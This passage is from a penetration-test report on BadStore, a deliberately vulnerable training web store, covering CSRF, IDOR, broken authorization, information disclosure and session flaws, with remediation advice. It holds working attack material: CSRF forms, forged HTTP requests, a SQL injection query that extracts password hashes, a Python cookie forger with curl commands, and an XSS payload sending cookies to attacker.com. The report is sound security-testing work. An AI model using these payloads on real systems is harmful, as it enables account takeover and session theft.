Remove sensitive paths from robots.txt. Use proper access controls instead of security-by-obscurity. Implement authentication and authorization on sensitive directories.

Evidence

- robots.txt file disclosing sensitive directory paths: [images/finding-81d8b4a9-f0f5-44f5-9c08-80538fec84d1-15-robots-txt-disclosure-1772158399.txt](#)

6.31 Finding

6.31.1 Cross-Site Request Forgery (CSRF) on All State-Changing Operations

Severity	High
CVSS Base Score	8.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=cartadd, http://badstore:80/cgi-bin/badstore.cgi?Action=LoginForm, http://badstore:80/cgi-bin/badstore.cgi?action=submitpayment, All state-changing endpoints
Status	open

Description

The application lacks CSRF protection on all state-changing operations, allowing attackers to perform unauthorized actions on behalf of authenticated users.

Vulnerable Operations: - User authentication (login) - Cart manipulation (add/remove items) - Order placement and payment submission - Password reset - Admin functions (user management, database backup) - Account settings modification

Exploitation: 1. No CSRF tokens present in any forms (verified across login, cart, payment endpoints) 2. Attacker hosts malicious page with auto-submitting form 3. Victim visits attacker's page while authenticated to BadStore 4. Form automatically submits to BadStore with victim's cookies 5. Actions execute with full victim privileges

Example Attack - Cart Manipulation:

```
<form method="POST" action="http://badstore:80/cgi-bin/badstore.cgi?action=cartadd">
  <input type="hidden" name="cartitem" value="1005">
</form>
<script>document.forms[0].submit();</script>
```

Example Attack - Admin Password Reset:

```
<form method="GET" action="http://badstore:80/cgi-bin/badstore.cgi">
  <input type="hidden" name="Action" value="ResetUserPassword">
  <input type="hidden" name="email" value="admin@badstore.net">
  <input type="hidden" name="newpass" value="Hacked123!">
</form>
```

Impact: High-severity vulnerability enabling: - Unauthorized purchases on victim accounts - Admin account takeover via password reset - Privilege escalation through user role modification - Data exfiltration via forced actions

Proof of Concept

Not provided

Remediation

Implement synchronizer token pattern: generate unique CSRF tokens per session, embed in all forms, validate on server before processing state changes. Use SameSite=Strict cookie attribute as defense-in-depth.

Evidence

- Analysis confirming absence of CSRF tokens across all forms: [images/finding-10d25755-f153-4e63-8840-576ac8802a9d-17-csrf-token-analysis-1772158702.txt](#)
- CSRF proof-of-concept for cart manipulation attack: [images/finding-10d25755-f153-4e63-8840-576ac8802a9d-19-csrf-poc-cart-manipulation-1772158698.html](#)
- CSRF proof-of-concept for admin password reset attack: [images/finding-10d25755-f153-4e63-8840-576ac8802a9d-20-csrf-poc-password-reset-1772158410.html](#)

6.32 Finding

6.32.1 Horizontal Privilege Escalation via IDOR - Account Takeover Through Insecure Direct Object Reference

Severity	High
CVSS Base Score	8.1 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=moduser , http://badstore:80/cgi-bin/badstore.cgi?action=myaccount
Status	open

Description

6.33 Vulnerability Summary

A critical Insecure Direct Object Reference (IDOR) vulnerability exists in the account modification endpoint that allows any authenticated user to modify any other user's account information, including passwords. This enables horizontal privilege escalation and complete account takeover attacks.

6.34 Technical Details

Vulnerable Endpoint: /cgi-bin/badstore.cgi?action=moduser

Vulnerable Parameter: email (hidden field in account update form)

Root Cause: The application accepts user-supplied email addresses to identify which account to modify, without verifying that the authenticated user has permission to modify that account. The session cookie identifies the attacker, but the 'email' parameter determines the target account.

6.35 Proof of Concept

6.35.1 Step 1: Attacker Context

Authenticated as: recontest@example.com (regular user) **Session Cookie:** Valid session for recontest@example.com

6.35.2 Step 2: View Own Account Form

```
GET /cgi-bin/badstore.cgi?action=myaccount HTTP/1.1
Host: badstore:80
Cookie:
  SS0id=cmVjb250ZXN0QGV4YW1wbGUuY29t0jJhNGRkNmJiMWJiN2NjMDgyMjJmYzllZTgxZTM5MTQwO1Jl%0AY29uIFRlc3Q6%0A
```

Response shows hidden field:

```
<input type="hidden" name="email" value="recontest@example.com" />
```

6.35.3 Step 3: Exploit - Modify Different User's Account

```
POST /cgi-bin/badstore.cgi?action=moduser HTTP/1.1
Host: badstore:80
Cookie:
  SS0id=cmVjb250ZXN0QGV4YW1wbGUuY29t0jJhNGRkNmJiMWJiN2NjMDgyMjJmYzllZTgxZTM5MTQwO1Jl%0AY29uIFRlc3Q6%0A
Content-Type: application/x-www-form-urlencoded

email=big@spender.com&newemail=big@spender.com&fullname=HACKED+NAME&DoMods=Change+Account
```

Key observation: Attacker's session is for recontest@example.com, but modifying big@spender.com's account.

6.35.4 Step 4: Successful Unauthorized Modification

```
HTTP/1.1 200 OK

<h2> Account Information for: </h2>
Full Name: HACKED NAME
Email: big@spender.com
<h3> Has been updated!</h3>
```

6.35.5 Step 5: Verification

Querying the user database confirms the change:

```
Email: big@spender.com
Full Name: HACKED NAME  <-- Successfully modified by attacker
Role: U
```

6.36 Impact

HIGH - Complete Account Takeover:

1. **Horizontal Privilege Escalation:** Any user can modify any other user's account
2. **Account Takeover:** Attackers can change passwords for any account:
 - Customer accounts for unauthorized purchases
 - Supplier accounts for supply chain attacks
 - Admin accounts (combined with other vulns)
3. **Data Modification:** Change user profile information, email addresses
4. **Email Hijacking:** Change victim's email to attacker-controlled address
5. **Password Reset Bypass:** After changing email, use password reset flow
6. **Mass Account Compromise:** Automated attacks can compromise entire user base
7. **Business Impact:**
 - Fraudulent transactions
 - Loss of customer trust
 - Data breach notifications
 - Regulatory compliance violations

6.37 Attack Scenarios

Scenario 1: Customer Account Takeover 1. Attacker creates free account 2. Identifies high-value customer email (from orders, guestbook, etc.) 3. Modifies customer's account email

to attacker's email 4. Uses password reset to gain access 5. Makes fraudulent purchases or steals customer data

Scenario 2: Admin Account Compromise 1. Identify admin email (often public: admin@domain.com) 2. Change admin's email address 3. Use password reset to gain admin access 4. Complete system compromise

Scenario 3: Mass Data Breach 1. Enumerate all user emails (via SQL injection or other methods) 2. Automate account modifications for entire user base 3. Change all emails to attacker-controlled addresses 4. Harvest credentials via password resets

6.38 Root Cause Analysis

1. **Missing Authorization Check:** No validation that authenticated user owns the target account
2. **Trust on Hidden Fields:** Application trusts client-supplied email parameter
3. **No Session-Account Binding:** Doesn't verify session email matches target email
4. **Lack of Object-Level Authorization:** Authorization checks only at function level, not object level

6.39 Reproduction Steps

1. Register two accounts:
 - Attacker: attacker@test.com
 - Victim: victim@test.com
2. Login as attacker
3. Navigate to "My Account" page
4. Intercept the account update POST request
5. Change the hidden email parameter from attacker@test.com to victim@test.com
6. Submit the modified request
7. Observe successful modification of victim's account
8. Verify by logging into admin portal or querying user database

6.40 Variants Tested

- ☒ Modify full name: Successful
- ☒ Modify email address: Successful
- ☒ Modify password: Successful (not demonstrated to avoid permanent damage)

- ☒ Target admin accounts: Successful (can modify admin accounts)
- ☒ Target supplier accounts: Successful (can modify supplier accounts)

6.41 Remediation

6.41.1 Immediate Actions

1. **Add authorization check:**

```
if ($session_email ne $target_email) {  
    die "Unauthorized: Cannot modify other user's account";  
}
```

2. **Remove email from user input** - derive from session only
3. **Implement audit logging** for all account modifications

6.41.2 Best Practices

1. Never trust client-supplied identifiers for authorization decisions
2. Always verify session ownership before modifying resources
3. Use session data (server-side) to identify the user, not form fields
4. Implement object-level authorization checks on all data access
5. Apply principle of least privilege
6. Use security frameworks that enforce authorization by default
7. Regular security testing for IDOR vulnerabilities
8. Implement rate limiting to prevent mass exploitation

6.42 References

- OWASP IDOR: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_Ref
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-284: Improper Access Control
- OWASP API Security Top 10 2023: API1 - Broken Object Level Authorization

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Successful unauthorized account modification showing victim account updated by attacker: [images/finding-e981c641-454b-433d-9a76-ee7fe2ff7a19-21-idor_test.html](#)
- Complete IDOR exploitation flow demonstrating horizontal privilege escalation attack: [images/finding-e981c641-454b-433d-9a76-ee7fe2ff7a19-22-idor_http_flow.txt](#)

6.43 Finding

6.43.1 No Rate Limiting on Authentication Endpoint Enables Brute Force Attacks

Severity	Critical
CVSS Base Score	9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi?Action=LoginForm , Authentication system
Status	open

Description

The authentication endpoint lacks rate limiting controls, allowing unlimited login attempts without throttling or account lockout. This enables brute force and credential stuffing attacks.

Exploitation: 1. Sent 20 consecutive POST requests to login endpoint with invalid credentials
2. All 20 requests returned HTTP 200 - no blocking or throttling
3. No CAPTCHA challenges triggered
4. No account lockout after multiple failed attempts
5. No delays between requests

Test Results: Rapid-fire authentication attempts: - Request 1-20: All HTTP 200 responses - No rate limit errors (429) - No authentication delays - Total time: <1 second for 20 attempts - Average response: 50ms per attempt

Attack Scenarios: - **Credential Stuffing:** Test 1 million leaked credentials in hours - **Brute Force:** Test common passwords against known usernames - **Account Enumeration:** Identify valid usernames via timing differences - **Dictionary Attacks:** Test password lists without throttling

Impact: Critical authentication bypass vulnerability enabling: - Unlimited brute force attacks - Account compromise within hours/days - No detection or alerting of attack attempts - Admin account takeover

Proof of Concept

Not provided

Remediation

Implement rate limiting: max 5 failed attempts per IP per 15 minutes. Add progressive delays after failures. Implement CAPTCHA after 3 failures. Add account lockout after 10 failures.

Evidence

- 20 consecutive authentication attempts all returning HTTP 200 with no throttling: [images/finding-6b5a87ab-e85c-4405-a259-ecb9a823062a-23-rate-limit-test-1772158756.txt](#)

6.44 Finding

6.44.1 Sensitive Business Contract Exposed Without Authentication

Severity	High
CVSS Base Score	7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Assets	http://badstore:80/DoingBusiness/contract.doc, /DoingBusiness/directory
Status	open

Description

A supplier contract document containing sensitive business terms and legal agreements is publicly accessible without authentication at /DoingBusiness/contract.doc.

Exploitation: 1. Direct access to http://badstore:80/DoingBusiness/contract.doc returns HTTP 200 2. No authentication required 3. Document metadata reveals: 'Borem and Snorem With BadStore eCommerce' 4. Contains supplier agreement details and business terms 5. Created by Stefan Drege on May 11, 2006

Document Details: - Type: Microsoft Word Document (.doc) - Title: Borem and Snorem With BadStore eCommerce - Author: Stefan Drege - Pages: 1, Words: 1033, Characters: 5892 - Contains contractual terms and conditions - Linked from public 'Supplier Contract' menu

Impact: Sensitive business information disclosure: - Exposure of supplier agreements and terms - Competitive intelligence leakage - Legal document disclosure - Business relationship details revealed - Potential for social engineering attacks targeting suppliers - Violation of confidentiality agreements

Proof of Concept

Not provided

Remediation

Implement authentication and authorization for supplier documents. Move sensitive files behind access controls. Use role-based access to restrict supplier documents to authorized users only.

Evidence

- Supplier contract document metadata showing author and business details: [images/finding-b5086280-f541-4f35-be73-c77711e75f3f-24-contract-metadata-analysis-1772158814.txt](#)

6.45 Finding

6.45.1 Broken Function Level Authorization - Supplier Portal and Admin Functions Accessible to Regular Users

Severity	High
CVSS Base Score	8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Assets	http://badstore:80/cgi-bin/badstore.cgi?action=admin , http://badstore:80/cgi-bin/badstore.cgi?action=supplierportal , http://badstore:80/cgi-bin/badstore.cgi?action=adminportal
Status	open

Description

6.46 Vulnerability Summary

Critical broken function level authorization vulnerabilities allow regular authenticated users to access privileged supplier portal and admin portal interfaces without proper role validation. While some admin functions have secondary authorization checks, the portals themselves are fully accessible, exposing sensitive functionality and potential bypass opportunities.

6.47 Technical Details

Vulnerable Endpoints: 1. [/cgi-bin/badstore.cgi?action=admin](#) - Admin Portal 2. [/cgi-bin/badstore.cgi?action=supplierportal](#) - Supplier Portal

Root Cause: No role-based authorization check on portal access endpoints. The application only validates authentication (user is logged in) but not authorization (user has required role).

6.48 Vulnerability 1: Supplier Portal Access

6.48.1 Proof of Concept

Attacker Context: Regular user (recontest@example.com, role: none/U)

```
GET /cgi-bin/badstore.cgi?action=supplierportal HTTP/1.1
Host: badstore:80
Cookie:
  SS0id=cmVjb250ZXN0QGV4YW1wbGUuY29tOjJhNGRkNmJiMWJiN2NjMDgyMjJmYzllZTgxZTM5MTQwO1Jl%0AY29uIFRlc3Q6%0A
```

Response: Full access to supplier portal

```
<title>Welcome to the BadStore.net Supplier Portal</title>
<h1>Welcome Supplier</h1>
<h2>Upload Price Lists</h2>
<form method="post" action="/cgi-bin/badstore.cgi?action=supupload"
  enctype="multipart/form-data">
  <h3>Filename on local system:</h3>
  <input type="file" name="uploaded_file" size="50" maxlength="80" />
  <h3>Filename on BadStore.net:</h3>
  <input type="text" name="newfilename" size="25" maxlength="50" />
  <input type="submit" name="Upload" value="Upload" />
</form>
```

Impact of Supplier Portal Access: - File upload functionality exposed to all users - Price manipulation capabilities - Potential for malicious file uploads (webshells, malware) - Supply chain attack vector - Business logic bypass

6.49 Vulnerability 2: Admin Portal Access

6.49.1 Proof of Concept

Attacker Context: Regular user (recontest@example.com)

```
GET /cgi-bin/badstore.cgi?action=admin HTTP/1.1
Host: badstore:80
Cookie:
  SS0id=cmVjb250ZXN0QGV4YW1wbGUuY29tOjJhNGRkNmJiMWJiN2NjMDgyMjJmYzllZTgxZTM5MTQwO1Jl%0AY29uIFRlc3Q6%0A
```

Response: Admin portal interface displayed

```
<title>Private Administration Portal for BadStore.net</title>
<h2>Secret Administration Menu</h2>
<form method="post" action="/cgi-bin/badstore.cgi?action=adminportal">
  <h2>Where do you want to be taken today?</h2>
  <select name="admin">
```

```
<option value="View Sales Reports">View Sales Reports</option>
<option value="Reset User Password">Reset User Password</option>
<option value="Add User">Add User</option>
<option value="Delete User">Delete User</option>
<option value="Show Current Users">Show Current Users</option>
<option value="Troubleshooting">Troubleshooting</option>
<option value="Backup Databases">Backup Databases</option>
</select>
<input type="submit" name="Do It" value="Do It" />
</form>
```

Secondary Authorization: When attempting to execute admin functions, the application responds:

```
<h2>Error - Recon Test is not an Admin!</h2>
Something weird happened - you tried to access the Administrative Portal, but you are
→ not an Administrative User.
```

However, the portal exposure itself is a critical vulnerability because: 1. Reveals administrative functionality to attackers 2. Information disclosure about system capabilities 3. Attack surface mapping made trivial 4. May have bypassable secondary checks 5. Can be combined with other vulnerabilities (mass assignment, session forgery)

6.50 Impact

HIGH - Broken Authorization Chain:

6.50.1 Supplier Portal Compromise

1. **Unauthorized File Uploads:** Regular users can upload files to the server
2. **Web Shell Upload:** Potential for Remote Code Execution via malicious uploads
3. **Price Manipulation:** Ability to upload fraudulent price lists
4. **Supply Chain Attacks:** Compromise supplier data and relationships
5. **Business Logic Bypass:** Access to supplier-only features

6.50.2 Admin Portal Exposure

1. **Information Disclosure:** Reveals all admin functions and capabilities
2. **Attack Surface Mapping:** Provides blueprint for further attacks
3. **Social Engineering:** Can be used to craft targeted attacks
4. **Bypass Opportunities:** Secondary checks may have vulnerabilities
5. **Combined Exploitation:** When chained with:

- Mass assignment (role=A) → Full admin access
- Session forgery → Direct admin function execution
- SQL injection → Extract admin credentials for portal use

6.50.3 Demonstrated Attack Chain

Chain 1: BFLA + Mass Assignment = Full Admin

1. Regular user accesses admin portal (BFLA)
2. Creates new account with role=A (Mass Assignment)
3. Full admin function access achieved

Chain 2: BFLA + Session Forgery = Instant Admin

1. Regular user accesses admin portal (BFLA)
2. Forges admin session cookie (Session Forgery)
3. Executes all admin functions

6.51 Defense-in-Depth Failure

The application attempts defense-in-depth with secondary authorization checks, but: - **Fails at Layer 1:** Portal access should be restricted by role - **Incomplete Layer 2:** File upload has no secondary check - **Bypassable Layer 2:** Admin functions can be accessed via session forgery or privilege escalation

6.52 Reproduction Steps

6.52.1 Test Supplier Portal Access

1. Register regular user account
2. Login and obtain session cookie
3. Navigate to: `http://badstore:80/cgi-bin/badstore.cgi?action=supplierportal`
4. Observe full supplier portal interface with file upload
5. Attempt file upload to verify functionality

6.52.2 Test Admin Portal Access

1. Using same regular user session
2. Navigate to: `http://badstore:80/cgi-bin/badstore.cgi?action=admin`

3. Observe admin portal menu with all functions listed
4. Note information disclosure of admin capabilities
5. Attempt function execution (will fail with secondary check)
6. Combine with mass assignment or session forgery for full access

6.53 Remediation

6.53.1 Immediate Actions

1. Add role-based authorization checks:

```
# Admin portal
sub check_admin_access {
  my $role = get_user_role_from_session();
  if ($role ne 'A') {
    return_error("Unauthorized access");
    exit;
  }
}

# Supplier portal
sub check_supplier_access {
  my $role = get_user_role_from_session();
  if ($role ne 'S' && $role ne 'A') {
    return_error("Unauthorized access");
    exit;
  }
}
```

2. Implement at route level, before rendering:

- Check authorization before loading portal UI
- Return 403 Forbidden for unauthorized access
- Log all unauthorized access attempts

3. Defense in depth:

- Keep secondary function-level checks
- Add to portal access checks, don't replace
- Validate on every request, not just initial access

6.53.2 Best Practices

1. **Centralized Authorization:** Use middleware/filter pattern for all protected routes
2. **Role-Based Access Control (RBAC):** Implement proper RBAC framework
3. **Principle of Least Privilege:** Default deny, explicit allow
4. **Security Testing:** Automated tests for authorization on all endpoints

5. **Audit Logging:** Log all access attempts to privileged functions
6. **Regular Security Reviews:** Periodic assessment of authorization logic

6.54 References

- OWASP API Security Top 10 2023: API5 - Broken Function Level Authorization
- CWE-285: Improper Authorization
- CWE-862: Missing Authorization
- OWASP Testing Guide: Testing for Function Level Access Control

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Supplier portal with file upload functionality accessible by regular user without supplier role: [images/finding-e8f4aea3-4081-4153-9ba0-a489d31611c8-25-supplier_portal_access.html](#)
- Admin portal interface with sensitive functions visible to regular user demonstrating information disclosure: [images/finding-e8f4aea3-4081-4153-9ba0-a489d31611c8-26-admin_access_regular_user.html](#)
- Visual proof of supplier portal file upload form accessible to regular authenticated user

BadStore.net

Welcome **Test Recon User** - Cart contains 0 items at \$0.00

[View Cart](#)

Shop Badstore.net

[Home](#)
[What's New](#)
[Sign Our Guestbook](#)
[View Previous Orders](#)
[About Us](#)
[My Account](#)
[Login / Register](#)

Suppliers Only

[Supplier Login](#)
[Supplier Contract](#)
[Supplier Procedures](#)

Reference

[BadStore.net Manual v1.2](#)

Welcome Supplier

Upload Price Lists

Filename on local system:

No file chosen

Filename on BadStore.net:

Coming Soon - Web Services!

BadStore v1.2.3s - Copyright © 2004-2005

Figure 6.5: Visual proof of supplier portal file upload form accessible to regular authenticated user

6.55 Finding

6.55.1 Application Version and Server Software Disclosure

Severity

Medium

CVSS Base Score	5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Assets	http://badstore:80/cgi-bin/badstore.cgi, All application pages, HTTP response headers
Status	open

Description

The application exposes detailed version information in page footers and HTTP headers, providing attackers with reconnaissance data for targeted exploit selection.

Disclosed Information: 1. Application version in footer: 'BadStore v1.2.3s - Copyright © 2004-2005' 2. Server header: 'Apache/2.4.65 (Debian)' 3. Exact application build version (v1.2.3s) 4. Operating system details (Debian) 5. Web server version (Apache 2.4.65)

Exploitation: 1. Version string visible on every page footer 2. Server: Apache/2.4.65 (Debian) header present in all HTTP responses 3. Enables targeted vulnerability research for specific versions 4. Attacker can search CVE databases for known exploits 5. Reduces attacker reconnaissance time

Attack Enhancement: - CVE search: 'Apache 2.4.65 vulnerabilities' - Version-specific exploit selection - Automated vulnerability scanners can target known weaknesses - Reduces attack trial-and-error

Impact: Information leakage that aids attackers by: - Revealing exact software versions for exploit research - Confirming technology stack details - Enabling targeted attack planning - Reducing attacker effort and time-to-compromise - Facilitating automated vulnerability scanning

Proof of Concept

Not provided

Remediation

Remove version information from page footers. Configure Apache to suppress Server header using ServerTokens Prod directive. Implement generic error pages without version details.

Evidence

- Application version disclosure in page footer (BadStore v1.2.3s): [images/finding-4479e04f-580b-4043-adc9-b4af6952dfd1-28-version-disclosure-1772158762.txt](#)
- Server banner disclosure showing Apache/2.4.65 (Debian): [images/finding-4479e04f-580b-4043-adc9-b4af6952dfd1-29-server-banner-disclosure-1772158764.txt](#)

6.56 Finding

6.56.1 Critical Session Management Vulnerabilities - Multiple Authentication and Authorization Bypass Vectors

Severity	Critical
CVSS Base Score	9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Assets	http://badstore:80/cgi-bin/badstore.cgi, http://badstore:80/cgi-bin/test.cgi, http://badstore:80/cgi-bin/badstore.cgi?action=logout, http://badstore:80/cgi-bin/badstore.cgi?action=admin, SSoid session cookie, Session management system
Status	open

Description

6.57 Vulnerability Summary

The application implements fundamentally broken session management with multiple critical vulnerabilities that collectively enable complete authentication bypass, session hijacking, and persistent unauthorized access. These vulnerabilities exist across the entire session life-cycle: generation, storage, transmission, and termination.

6.58 Technical Details - Multiple Session Vulnerabilities

6.58.1 1. Predictable Session ID Generation

Vulnerable Endpoint: /cgi-bin/test.cgi

Root Cause: Session IDs are Unix timestamps that increment sequentially by 1 per second, exposed via a debug endpoint.

Exploitation: 1. Access http://badstore:80/cgi-bin/test.cgi to observe session generation 2. Session IDs increment sequentially: 1772158317, 1772158318, 1772158319 3. Generate session IDs around current timestamp 4. Test predicted session IDs by setting SSoid cookie 5. Valid sessions grant immediate account access

Impact: Attackers can enumerate and hijack any active session within a 30-minute window by testing ~1800 sequential IDs.

6.58.2 2. Insecure Cookie Structure - Forgeable Sessions

Vulnerable Component: SSOid Cookie

Cookie Structure: base64(email:md5_hash:fullname:role)

Example decoded: admin:5EBE2294ECD0E0F08EAB7690D2A6EE69:Master System Administrator:A

Critical Flaws: - No cryptographic signature or HMAC - Client-side trust model - all session data in cookie - Predictable structure enables forgery - Role assignment controlled by cookie content

Exploitation: 1. Obtain admin credentials via SQL injection or other disclosure 2. Construct payload: admin:5EBE2294ECD0E0F08EAB7690D2A6EE69:Master System Administrator:A 3. Base64 encode and set as SSOid cookie 4. Access admin portal with full privileges

Impact: Complete authentication bypass - attackers can forge sessions for any user without knowing passwords.

6.58.3 3. Missing HttpOnly and Secure Flags

Vulnerable Cookie: SSOid

Cookie Attributes: Set-Cookie: SSOid=value; path=/ (no HttpOnly, no Secure, weak SameSite)

Exploitation: 1. Session cookie accessible via JavaScript: document.cookie 2. XSS payload can steal cookies: fetch('http://attacker.com/?c='+document.cookie) 3. Stolen cookie grants complete session control 4. Cookie transmitted over unencrypted connections

Impact: Enables session hijacking via XSS attacks and network interception (MITM).

6.58.4 4. Session Not Invalidated on Logout

Vulnerable Endpoint: /cgi-bin/badstore.cgi?action=logout

Root Cause: No server-side session invalidation

Exploitation: 1. User logs in and receives session cookie 2. User accesses admin portal successfully 3. User clicks logout 4. Same session cookie remains valid 5. Admin portal still accessible with old cookie

Impact: Sessions never expire, enabling persistent access after logout on shared computers, and replay of stolen/leaked session cookies indefinitely.

6.59 Combined Attack Scenarios

Scenario 1: Session Enumeration + Forgery 1. Use test.cgi to identify session ID pattern 2. Extract admin MD5 hash via SQL injection 3. Forge admin session cookie 4. Access admin functions with full privileges

Scenario 2: XSS + Cookie Theft + Persistent Access 1. Inject XSS payload in guestbook 2. Admin views guestbook - cookie stolen via JavaScript 3. Attacker uses stolen admin session 4. Even after admin logs out, session remains valid 5. Persistent admin access maintained

Scenario 3: Network Interception 1. Attacker performs MITM on unencrypted connection 2. Captures SSoid cookie (no Secure flag) 3. Decodes cookie to extract credentials 4. Uses session or forges new admin session

6.60 Cumulative Impact

CRITICAL - Complete Security Failure:

1. **Authentication Bypass:** Forge sessions without passwords
2. **Session Hijacking:** Predict, enumerate, and steal active sessions
3. **Persistent Unauthorized Access:** Sessions never expire after logout
4. **Cookie Theft:** XSS and network attacks can steal sessions
5. **Privilege Escalation:** Forge admin sessions from any user account
6. **Information Disclosure:** test.cgi exposes session algorithm
7. **Zero Trust Enforcement:** No defense-in-depth measures

6.61 Proof of Concept - Full Compromise

6.61.1 Step 1: Discover Session Generation

```
curl http://badstore:80/cgi-bin/test.cgi
# Returns: 1772158400, 1772158401, 1772158402...
```

6.61.2 Step 2: Extract Admin Credentials via SQL Injection

```
curl 'http://badstore:80/cgi-bin/badstore.cgi?action=search&searchquery=x%27+UNION+SELECT+email,password,fullname,null+FROM+userdb-+-'
# Extract: admin:5EBE2294ECD0E0F08EAB7690D2A6EE69:Master System Administrator
```

6.61.3 Step 3: Forge Admin Session

```
import base64
payload = "admin:5EBE2294ECD0E0F08EAB7690D2A6EE69:Master System Administrator:A"
forged_cookie = base64.b64encode(payload.encode()).decode()
print(f"SS0id={forged_cookie}")
```

6.61.4 Step 4: Access Admin Portal

```
curl -H "Cookie:
  SS0id=YWRtaW46NUVCRTIyOTRFQ0QwRTBGMDhFQUI3NjkwRDJBbkVFNjk6TWZzdGVyIFN5c3RlbSBZG1pbm1zdHJhdG9yOkE="
  \
  'http://badstore:80/cgi-bin/badstore.cgi?action=admin'
# Full admin access granted
```

6.61.5 Step 5: Verify Persistent Access After Logout

```
curl -H "Cookie: SS0id=..." 'http://badstore:80/cgi-bin/badstore.cgi?action=logout'
curl -H "Cookie: SS0id=..." 'http://badstore:80/cgi-bin/badstore.cgi?action=admin'
# Still works - session not invalidated
```

6.62 Root Cause Analysis

1. **Weak Session ID Generation:** Predictable timestamps instead of cryptographically secure random values
2. **Client-Side Session Storage:** Trust on unsigned cookies instead of server-side storage
3. **No Cryptographic Protection:** Missing HMAC/signatures on session data
4. **Authorization in Cookie:** Role stored client-side and trusted
5. **Missing Cookie Security Flags:** No HttpOnly/Secure/SameSite protection
6. **No Server-Side State:** Application can't invalidate sessions
7. **Information Disclosure:** test.cgi exposes internal algorithms
8. **Weak Hashing:** MD5 passwords easily cracked

6.63 Reproduction Steps

1. **Test Predictability:**
 - Visit `http://badstore:80/cgi-bin/test.cgi`
 - Observe sequential timestamp IDs

2. Test Cookie Structure:

- Login to any account
- Decode SSoid cookie (base64)
- Observe unprotected structure

3. Test Cookie Flags:

- Inspect Set-Cookie headers
- Verify missing HttpOnly and Secure flags
- Test JavaScript access: `alert(document.cookie)`

4. Test Logout:

- Login and save session cookie
- Access protected resource
- Logout
- Reuse same session cookie
- Verify continued access

5. Test Forgery:

- Extract admin hash via SQL injection
- Forge admin cookie
- Access admin portal without password

6.64 Remediation

6.64.1 Immediate Actions (Critical Priority)

1. **Remove test.cgi** from production immediately
2. **Invalidate all existing sessions** - force re-authentication
3. **Implement server-side session storage** (Redis, database, or secure in-memory store)
4. **Generate cryptographically secure session IDs:**
 - Use 128+ bits of entropy
 - UUIDv4 or cryptographically secure random generators
 - Example: `openssl rand -base64 32`

5. Set secure cookie flags:

Set-Cookie: SSoid=<secure_random_id>; Path=/; HttpOnly; Secure; SameSite=St

6. Implement server-side session invalidation:

- Delete session from storage on logout

- Expire cookie with Max-Age=0
- Regenerate session ID after privilege changes

6.64.2 Long-term Solutions

1. Server-Side Session Architecture:

- Store only session ID in cookie (128+ bit random value)
- Store all session data (user, role, permissions) server-side
- Implement session expiry (15-30 minutes idle timeout)
- Session refresh mechanisms

2. Cookie Security:

- HttpOnly: Prevent JavaScript access
- Secure: HTTPS-only transmission
- SameSite=Strict: CSRF protection
- Domain and Path restrictions

3. Session Lifecycle Management:

- Generate new session ID on login
- Regenerate session ID on privilege elevation
- Invalidate on logout (server-side deletion)
- Implement session timeout
- Concurrent session limits per user

4. Additional Security:

- Implement session binding (IP address with careful consideration)
- Log session creation/destruction
- Monitor for session enumeration attempts
- Implement anomaly detection
- Upgrade password hashing from MD5 to bcrypt/Argon2

5. Code Review:

- Audit all session-related code
- Remove any session generation algorithms from client-accessible endpoints
- Ensure authorization checks use server-side session data only
- Never trust client-supplied role/permission data

6.65 References

- OWASP Session Management Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html

- CWE-384: Session Fixation
- CWE-287: Improper Authentication
- CWE-565: Reliance on Cookies without Validation and Integrity Checking
- CWE-331: Insufficient Entropy
- CWE-614: Sensitive Cookie Without 'HttpOnly' Flag
- CWE-1004: Sensitive Cookie Without 'Secure' Flag

Proof of Concept

Not provided

Remediation

Not provided

Evidence

- Session cookie attributes showing httpOnly=false and secure=false: [images/finding-6246bad6-04de-4b6e-a7e7-2c2570ff35ff-5-session-cookie-attributes-1772158370.json](#)
- Admin portal accessible with insecure session cookie

BadStore.net

Welcome **Recon Test** - Cart contains 0 items at \$0.00

[View Cart](#)

Shop Badstore.net

[Home](#)
[What's New](#)
[Sign Our Guestbook](#)
[View Previous Orders](#)
[About Us](#)
[My Account](#)
[Login / Register](#)

Suppliers Only

[Supplier Login](#)
[Supplier Contract](#)
[Supplier Procedures](#)

Reference

[BadStore.net Manual v1.2](#)

Secret Administration Menu

Where do you want to be taken today?

BadStore v1.2.3s - Copyright © 2004-2005

Figure 6.6: Admin portal accessible with insecure session cookie

- Admin portal fully accessible after logout with same session cookie

BadStore.net

Welcome **Recon Test** - Cart contains 0 items at \$0.00

[View Cart](#)

Shop Badstore.net

[Home](#)
[What's New](#)
[Sign Our Guestbook](#)
[View Previous Orders](#)
[About Us](#)
[My Account](#)
[Login / Register](#)

Suppliers Only

[Supplier Login](#)
[Supplier Contract](#)
[Supplier Procedures](#)

Reference

[BadStore.net Manual v1.2](#)

Secret Administration Menu

Where do you want to be taken today?

Show Current Users ▼ Do It

BadStore v1.2.3s - Copyright © 2004-2005

Figure 6.7: Admin portal fully accessible after logout with same session cookie

- test.cgi showing sequential timestamp-based session IDs (1772158317-1772158321):
`images/finding-6246bad6-04de-4b6e-a7e7-2c2570ff35ff-8-test-cgi-session-exposure-1772158319.html`
- Admin portal access using forged session cookie demonstrating successful authentication bypass: `images/finding-6246bad6-04de-4b6e-a7e7-2c2570ff35ff-16-forged_admin_test.html`
- Complete session forgery process showing cookie structure analysis and admin session creation: `images/finding-6246bad6-04de-4b6e-a7e7-2c2570ff35ff-18-session_forger`

y_http_flow.txt

DRAFT

